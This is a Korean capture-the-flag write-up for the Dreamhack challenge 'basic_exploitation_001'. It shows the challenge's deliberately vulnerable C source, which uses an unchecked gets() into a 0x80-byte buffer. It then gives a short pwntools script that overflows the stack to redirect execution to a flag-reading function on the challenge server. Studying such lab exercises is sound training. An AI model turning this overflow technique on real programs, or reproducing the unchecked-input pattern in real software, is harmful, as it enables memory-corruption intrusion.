[ Dreamhack ] basic_exploitation_001

Hyeonjin Lee·2023년 3월 9일
0

문제 분석


문제의 환경정보를 보니 어떠한 보호기법도 적용되어 있지 않다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

문제 소스코드를 보면 gets로 값을 입력받고 있으나 길이를 검사하고 있지 않아 BOF취약점이 존재한다.

또한 flag값을 주는 read_flag()함수도 존재한다.


문제 풀이



gdb로 분석해보면 gets로 입력받은 값은 ebp-0x80에 위차하는 것을 알 수 있다.


또한 flag를 주는 read_flag()함수의 주소는 0x80485b9이다.

따라서 다음과 같이 payload를 작성할 수 있다.
dummy(0x80byte) + sfp(4byte) + return address(read_flag() address)

다음과 같이 exploit 코드를 작성하면 flag를 얻을 수 있다.

from pwn import *

p = remote('host3.dreamhack.games', 10360)

flag_addr = 0x80485b9

payload = ''
payload += 'A'*0x80 + 'BBBB'
payload += p32(0x80485b9)

p.sendline(payload)

p.interactive()

profile
요즘 행복해요

0개의 댓글